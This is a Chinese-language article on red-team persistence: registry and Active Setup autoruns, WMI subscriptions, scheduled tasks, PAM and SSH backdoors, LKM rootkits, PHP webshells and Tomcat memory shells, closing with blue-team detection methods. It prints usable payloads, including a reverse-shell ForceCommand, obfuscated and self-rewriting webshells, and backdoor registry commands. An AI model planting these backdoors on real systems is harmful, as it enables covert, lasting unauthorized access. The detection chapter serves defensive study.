网络安全实战：权限维持技术盘点——后门、计划任务、启动项与 Webshell

序言：凌晨三点的暗战

在渗透测试与红队评估的漫长黑夜里，拿到一个 Shell 或是提权到 System/Administrator，往往只是前戏。很多刚入行的年轻红队成员在拿到那个明亮的 nt authority\system 提示符时，会忍不住在键盘前庆祝。但老猎手们知道，真正的战争才刚刚开始。

系统环境是动态的。管理员可能会重启服务器以应用补丁，网络可能会因为故障发生抖动，甚至安全软件的日常扫描都可能把你千辛万苦拿下的 Session 杀掉。如果你拿到权限后不进行任何处理，睡一觉醒来，你昨天打下的“半壁江山”可能已经化为乌有。这就是为什么我们需要“权限维持”——在目标内网中构建一种隐蔽的、持久的、抗清理的访问机制。俗称：留后门。
今天，我们将从实战视角，盘点 Windows 与 Linux 环境下最经典的权限维持技术。我们不谈那些早就被杀软盯死的烂大街脚本，而是深入探讨启动项、计划任务、服务后门，以及 Web 层面的幽灵——内存马。看看在现代 EDR 和高级威胁狩猎的凝视下，后门是如何隐匿与进化的。

第一章：操作系统层维持——经典的“老三样”与翻新

谈到 Windows 权限维持，逃不开注册表、服务、计划任务这“老三样”。但老不代表无用，关键在于如何用得巧妙、用得隐蔽。

1.1 注册表自启：最隐蔽的角落

Windows 注册表是权限维持的重灾区。除了那些众所周知的 Run 键值（如 HKLM\SOFTWARE\Microsoft\Windows\CurrentVersion\Run，这里早就被 EDR 盯死了），红队更偏爱那些被系统默认使用、却被安全人员经常忽略的注册表位置。
Active Setup（活动设置）
这是一个极具历史感却极好用的后门。Active Setup 用于在用户首次登录时配置系统环境。系统在 HKLM\SOFTWARE\Microsoft\Active Setup\Installed Components\ 下寻找 GUID 键值，并执行其中的 StubPath 键值指向的程序。
实战操作：

reg add "HKLM\SOFTWARE\Microsoft\Active Setup\Installed Components\{C9E0A8A0-1234-5678-90AB-EFCD12345678}" /v StubPath /t REG_SZ /d "C:\Windows\Temp\update.exe" /f

优势：它会在用户登录前静默执行。很多基于行为的监控只关注 Run 键值，却漏掉了 Active Setup。更绝的是，只要修改 IsInstalled 为 0，这个键值每次用户登录都会触发，完美实现持久化。
用户辅助功能后门
经典的“粘滞键”后门（替换 sethc.exe）早就是个笑话。但思路是可以迁移的。Windows 提供了一系列辅助功能，比如 narrator.exe（讲述人）。我们可以通过修改注册表，让系统在登录界面（Winlogon 进程）触发特定按键时执行我们的 Payload。
或者更高级的利用：Image File Execution Options (映像劫持)
在 HKLM\SOFTWARE\Microsoft\Windows NT\CurrentVersion\Image File Execution Options\ 下，为某个系统进程（如 taskmgr.exe）创建一个子项，并设置 Debugger 键值指向我们的马。当管理员按下 Ctrl+Shift+ESC 想调出任务管理器看看到底是什么进程在吃内存时，你的马就静默启动了。这招极损且极难被普通运维发现。

1.2 WMI 事件订阅：时间轴上的刺客

如果说注册表后门是静态的，那 WMI 事件订阅就是动态的。WMI 是 Windows 管理规范的核心，它允许管理员定义一个事件触发器。这是内网红队极其偏爱的无文件后门技术。
WMI 事件订阅分为三部分：

1. Event Filter（事件过滤器）：定义什么时候触发。比如“系统启动后 60 秒”，或“创建了一个特定名称的进程”。
2. Event Consumer（事件消费者）：定义触发后干什么。支持 CommandLineEventConsumer（执行命令）或 ActiveScriptEventConsumer（执行 VBScript/JScript）。
3. Binding（绑定）：把 1 和 2 绑在一起。
   实战操作（以 WMI 永久订阅为例，常见工具为 SharpWMIPersistence）：
   编写一个 WMI 脚本，设定过滤器为 SELECT * FROM __InstanceModificationEvent WITHIN 60 WHERE TargetInstance ISA 'Win32_PerfFormattedData_PerfOS_System' AND TargetInstance.SystemUpTime >= 300。意思是系统开机 5 分钟后触发。
   消费者则执行一行经过混淆的 PowerShell Base64 反弹命令。
   为什么这招可怕？因为 WMI 事件存储在 CIM 对象仓库里，而不是文件系统里。你用 Autoruns 扫描可能扫不到，用杀软扫磁盘也扫不到。它是真正意义上的内存/数据库驻留。只要管理员不重置 WMI 仓库，或者重装系统，这个后门将伴随机器的一生。即使是现代 EDR，如果不深入解析 CIM 仓库的底层结构，也很难发现这种隐蔽的关联。

1.3 计划任务：伪装成系统日常

计划任务是系统调度的正规军。写一个计划任务后门很容易，但写好却很难。关键在于如何让你的恶意任务淹没在系统成百上千个合法任务中。
红队计划任务的原则：

1. 不新建，只修改。系统自带了很多计划任务，比如 \Microsoft\Windows\Defrag\ScheduledDefrag（磁盘碎片整理）。我们可以悄悄在这个已有任务的 XML 定义里追加一行，让它在整理磁盘后顺便执行一下我们的 Payload。神不知鬼不觉。
2. 描述伪装。必须给你的后门起一个极具迷惑性的名字，如 \Microsoft\Windows\Update\TelemetryTask，并将描述写为“用于收集系统遥测数据以提升体验”。蓝队排查时一看名字是微软官方任务，往往直接跳过。
3. 触发频率极低。每分钟触发一次的计划任务是极其可疑的。真正的后门应该像潜艇，潜伏期长达数天甚至数月。设定为“仅在系统空闲 4 小时后触发”，或“每月 1 号凌晨 3 点触发”。平时它一动不动，当红队需要重新接入内网时，只要等到那个时间点，Session 自然就回来了。

第二章：Linux 维持——从 Crontab 到内核 LKM 的降维打击

Linux 服务器的权限维持与 Windows 截然不同。Linux 强调一切皆文件，因此后门也多与文件系统、环境变量和底层库纠缠在一起。

2.1 软链接与 PAM 后门：伪装成认证模块

在 Linux 下，最经典的权限维持不是 Crontab 弹个 Shell，而是修改认证模块（PAM，Pluggable Authentication Modules）。
PAM 是 Linux 认证的核心机制。当用户输入 su - root 时，系统会调用 /lib/security/ 下的 pam_unix.so 去验证密码。如果你有 Root 权限，可以替换这个 .so 文件，在里面植入后门代码。
经典的 PAM 后门做法：

1. 下载当前系统对应版本的 pam_unix.so 源码。
2. 在 pam_sm_authenticate 函数中插入一段逻辑：如果输入的密码是预设的“万能密码”（如 redteam123），则直接返回认证成功，绕过对 /etc/shadow 的比对。
3. 编译后将原文件备份，用恶意文件覆盖。
   隐蔽性极高：这不需要改动任何系统配置文件，管理员用 cat /etc/shadow 看密码哈希没变，用 netstat 看网络连接一切正常。但他用万能密码随时可以登录，你永远可以登堂入室。即使管理员修改了 Root 密码，你的万能密码依然有效。

2.2 SSH ForceCommand：万能钥匙的优雅后门

如果你不想编译底层库，可以通过修改 SSH 配置文件实现免密后门。
在 /etc/ssh/sshd_config 中加入：

Match User dev
    ForceCommand /bin/sh -c 'exec /bin/sh -i < /dev/tcp/10.0.0.1/4444 0>&1'

这意味着，无论 dev 用户用任何密码，甚至用空密码登录 SSH，只要连上端口，系统就不再做密码校验，而是直接执行 ForceCommand 指定的反弹 Shell。
配合一个看似正常的用户名，这是一个比修改密码更狠的侧门。

2.3 LKM Rootkit：隐藏在内核空间的幽灵

前两者是用户态的把戏，一旦蓝队上手段进行完整性校验（如 AIDE 检查文件 Hash），立刻就会暴露。对于高价值目标，红队会尝试打入内核空间，编写 LKM（Linux Kernel Module）Rootkit。
LKM Rootkit 不修改文件系统，而是动态加载到内核内存中，Hook 系统调用表。
例如，Hook sys_getdents 系统调用，当系统列出目录（如 ls 命令）时，过滤掉名为 rootkit.ko 的文件，实现文件隐藏；Hook sys_read 隐藏网络连接；甚至 Hook sys_kill 让进程无法被 kill。
LKM 是内网防守的天花板，因为它打破了用户态的信任边界。一旦内核被攻破，任何在用户态运行的杀软、EDR 都不可信，因为 EDR 调用的 API 基础设施已经被劫持。但加载 LKM 需要特定内核版本匹配，且容易被内存取证发现（如 Volatility 检测隐藏模块），这需要极高的技术门槛。

第三章：Web 层面的幽灵——从一句话到内存马的进化史

当目标是一个 Web 服务器时，红队最常用的维持手段是 Webshell。过去十年，Webshell 的攻防经历了翻天覆地的演变。

3.1 早期时代：一句话木马与特征绕过

经典的 <?php @eval($_POST['cmd']);?> 是无数人的启蒙。
但随着 WAF 的普及，这种特征极其明显的代码已经无法生存。红队开始玩弄变形：

<?php
$fr = '$_PO'; $bc = 'ST["c"]';
$ assemble = $fr.$bc; // 拼接出 $_POST["c"]
$func = 'assert'; // 用 assert 替代 eval
$func($$assemble[0], $$assemble[1]);
?>

利用字符串拼接、动态调用、异或运算等手段，绕过基于正则表达式的静态检测。但无论怎么变，只要最终在 PHP 解释器里执行了 eval 这种语言结构，其行为模式是固定且可疑的。

3.2 中期：不死马与权限锁

后来出现了“不死马”。原理是利用 PHP 的 ignore_user_abort(true) 和 set_time_limit(0)，让脚本在用户断开连接后依然持续运行。

<?php
ignore_user_abort(true);
set_time_limit(0);
$file = '.config.php';
$code = '<?php if(md5($_POST["pass"])=="d41d8cd98f00b204e9800998ecf8427e"){eval($_POST["code"]);} ?>';
while(file_exists($file)) {
    file_put_contents($file, $code);
    usleep(1000);
}
?>

这个脚本会疯狂地在目录里生成 .config.php。蓝队即使删除了外层的木马，这个守护进程还会持续把内层木马写回来。只有重启 Web 服务或者 kill 掉 PHP 进程才能解决。这在当时给防守方造成了极大的心理阴影。

3.3 现代战场：中间件内存马——Webshell 的终极形态

随着现代中间件（Tomcat、Weblogic、Spring）的普及，以及企业对磁盘文件落地的严格监控，传统的文件型 Webshell 走到了尽头。于是，内存马横空出世。
内存马的原理：不向磁盘写入任何文件，而是利用 Java 反射等机制，在运行时动态地将恶意逻辑注册到中间件的请求路由中。当攻击者请求特定路径（如 /favicon.ico，但携带特殊 Header）时，中间件就会将请求转交给恶意逻辑执行，并将结果返回。
以 Tomcat Filter 型内存马为例：

1. 获取上下文：通过 Thread.currentThread().getContextClassLoader() 等手段获取当前 Tomcat 的 StandardContext。
2. 构造恶意 Filter：定义一个 Java 类，实现 javax.servlet.Filter 接口。在 doFilter 方法中写入：如果请求 Header 中带有 Referer: redteam，则执行 Header cmd 中的系统命令并返回结果；否则放行。
3. 动态注册：利用反射调用 StandardContext.addFilterDef() 和 addFilterMap()，将恶意 Filter 动态挂载到 Tomcat 的过滤链上，并设置拦截路径为 /*（所有请求）。
   为什么这是终极形态？

• 不落地：不写磁盘，绕过一切文件完整性校验。
• 极难发现：管理员查看 webapps 目录下干干净净，看 Tomcat 配置文件也没有任何改动。一切都在内存中发生。
• 生命周期：除非重启 Tomcat 进程，否则这个后门将永远存在。而且配合前面的 WMI 或计划任务后门，一旦重启，红队会重新注入内存马，形成完美的闭环。
  蓝队如何反击内存马？
• 查看中间件的 MBean 服务器，检查是否有动态注册的 Filter/Servlet。
• 内存取证：Dump 出整个 Tomcat 进程的内存（如使用 jmap -dump:format=b,file=heap.bin），利用 Java 反编译工具分析内存里的类，寻找恶意特征。但这对于动辄几十 GB 内存的现代中间件来说，成本极其高昂。

第四章：网络层面的隐形桥梁——协议层后门

除了系统和应用层，红队还会在网络层建立隐蔽的通道。这类后门不依赖系统持久化机制，而是利用正常协议的“盲区”建立隧道，随时准备唤醒主 Payload。

4.1 ICMP 隧道与 DNS 隧道后门

在企业严格限制出网的环境下，攻击者可以在内网某台跳板机上运行 ICMP 隧道（如 icmpsh）或 DNS 隧道（如 dnscat2）。
这通常不随系统启动（因为可能需要管理员密码重新获取），但配合计划任务，可以设定每天凌晨 2 点，自动运行一段轻量的 ICMP 脚本，向 VPS 发送几个特定的心跳包。VPS 收到后，通过 ICMP 响应下发真正的 Shellcode。这就将后门的触角伸到了最底层的网络协议。

4.2 隐蔽的端口监听：Raw Sockets

在 Linux 下，高级红队会编写极简的 Raw Socket 监听程序，直接绑定在网卡接口上。它不监听传统的 TCP 端口，而是监听原始的以太网帧或 IP 包。
比如，程序设定只处理那些带有特定魔数（Magic Number）标志的 UDP 包。常规的 netstat -anp 或 ss -tulwn 根本看不到这个监听器，因为它没有进入操作系统的 Socket 栈。当攻击者向目标发送带有魔数的数据包时，监听器捕获，解密其中的指令并执行。这是一种典型的 Sniffing 后门，神出鬼没。

第五章：蓝队的反击——威胁狩猎与基线对比

面对如此繁多、从系统底层到应用内存的权限维持手段，蓝队绝不是待宰的羔羊。现代蓝队通过“基线对比”和“行为狩猎”，正在将红队的后门一个个揪出来。

5.1 黄金标准：Autoruns 与 Sysinternals

在 Windows 端，Sysinternals 工具集是红队的噩梦。特别是 Autoruns。它能扫描几十个（甚至上百个）注册表自启位置、服务驱动、计划任务、浏览器加载项、Active Setup 等。
红队试图在注册表角落藏后门？Autoruns 一眼就能扫出来，并且会用不同颜色标出数字签名缺失的项。蓝队只需将一台干净的机器基线导出，与嫌疑机器的 Autoruns 结果进行 Diff（对比），任何新加的启动项立刻无所遁形。

5.2 内核回调与 EDR 监控

现代 EDR 不仅仅看文件特征，它更关注行为关联。

• 当 powershell.exe 修改 HKLM\SYSTEM\CurrentControlSet\Services 时，EDR 触发高危告警。
• 当一个未知进程尝试调用 WMI 命名空间创建 __EventConsumer 时，EDR 直接拦截并回溯调用链。
• 当 Java.exe 突然使用反射机制调用 addFilter 时，EDR 立即 Dump 进程并告警。

5.3 内存取证：Volatility 的法眼

对于 LKM Rootkit 或内存马，传统手段失效。但 DFIR（数字取证与应急响应）人员会拔下网线，不关机，直接用工具（如 PCileech、WinPmem）Dump 物理内存。然后用 Volatility 框架分析。

• linux_hidden_modules：揪出被隐藏的 LKM 模块。
• 对 Java 堆进行分析，找出内存马的 Filter 实例。
  内存是红队的游乐场，也是蓝队最后也是最坚固的防线。

5.4 文件完整性校验

对于替换 pam_unix.so 或修改 SSH 配置的行为，蓝队通过部署 AIDE 或 Tripwire 等文件完整性校验工具，在系统关键目录和核心库文件变动时进行哈希对比。一旦发现哈希不一致，立刻触发最高级别告警，彻底封死底层文件后门的路。

第六章：红蓝博弈：后门的艺术在于“克制”

讲了这么多技术，最后想谈谈红队 OPSEC（操作安全）的核心哲学——克制。
很多刚入门的攻击者拿到权限后，会像暴发户一样疯狂留后门：注册表写三个、计划任务建两个、再留个 Webshell。这不仅是愚蠢的，而且是极度危险的。
“后门越多越安全”是一个致命误区。后门越多，暴露面越大，蓝队只要抓住其中一个特征（比如一个没免杀好的 EXE），就能顺藤摸瓜摸出你的整个基础设施。
真正的高手，在一个目标上只留一个，或者最多两个，极其隐蔽、高度定制化的后门。它会经过严格的免杀处理，其触发条件极其苛刻（比如只在特定日期、验证了特定的环境变量后才唤醒），即使被蓝队偶然捕获，也会因为无法分析出逻辑而将其当作误报放过。
权限维持，不是堆砌技术，而是一场关于隐蔽、耐心和克制的心理战。它要求攻击者深刻理解操作系统的每一行底层逻辑，甚至理解防守者的心理。

结语：持久战的终点

后门与反后门，是一场没有硝烟的持久战。
当我们回顾这些技术：从最古老的 sethc.exe 粘滞键替换，到 WMI 事件订阅的无文件驻留，再到如今潜入 Tomcat 内存深处的幽灵 Filter。攻防的焦点不断向底层、向内存、向协议深处转移。
企业内网的安全防御，最终拼的就是对“常态”的感知。谁能把整个内网的每一个进程、每一行注册表、每一个网络连接都刻画得清清楚楚，谁就能在第一丝异常出现时将其掐灭。